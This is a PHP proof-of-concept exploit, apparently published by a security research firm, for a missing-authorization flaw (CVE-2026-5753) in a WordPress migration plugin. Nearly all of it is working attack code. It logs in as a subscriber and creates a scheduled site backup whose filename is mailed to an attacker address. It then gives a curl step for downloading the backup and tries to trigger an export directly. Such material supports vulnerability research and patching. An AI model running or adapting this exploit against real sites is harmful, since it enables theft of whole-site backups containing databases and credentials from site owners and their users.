CVE-2026-5753: All-in-One WP Migration Unlimited Extension <= 2.83 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Backup Schedule Creation and Backup File Download (all-in-one-wp-migration-unlimited-extension)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5753 - All-in-One WP Migration Unlimited Extension <= 2.83 Missing Authorization to Backup Schedule Creation and Download

// Configuration - set these to a target WordPress site where you have subscriber access
$target_url = 'https://example.com';  // Base URL of the target WordPress site
$username = 'subscriber_user';         // Subscriber-level username
$password = 'subscriber_pass';         // Password

// Step 1: Authenticate and get a valid session cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Create a scheduled backup that sends the backup filename to our email
$schedule_url = $target_url . '/wp-admin/admin-post.php';
$attacker_email = 'attacker@example.com';  // Email to receive backup filename
$schedule_data = array(
    'action' => 'ai1wm_schedule_event_save',
    'ai1wm_export' => array(
        'email' => $attacker_email,
        'frequency' => 'daily',
        'time' => '00:00'
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $schedule_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($schedule_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Schedule creation HTTP status: $http_coden";
if ($http_code == 200 || $http_code == 302) {
    echo "[+] Scheduled backup created. Attacker email ($attacker_email) will receive the backup filename.n";
    echo "[+] Wait for the scheduled time or manually trigger the export.n";
    echo "[+] Once the backup filename is received, download using:n";
    echo "    curl -O $target_url/wp-content/uploads/ai1wm-backups/n";
} else {
    echo "[-] Failed to create schedule. Plugin may be patched or requires higher privileges.n";
}

// Step 3: (Optional) Attempt to directly trigger export if an alternate action exists
// Many plugins also have an 'ai1wm_export' action - try that too (but the CVE focuses on schedule)
$export_url = $target_url . '/wp-admin/admin-ajax.php';
$export_data = array(
    'action' => 'ai1wm_export',
    'ai1wm_manual_export' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $export_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($export_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$export_response = curl_exec($ch);
curl_close($ch);

// Clean up cookies file if needed
unlink('/tmp/cookies.txt');
?>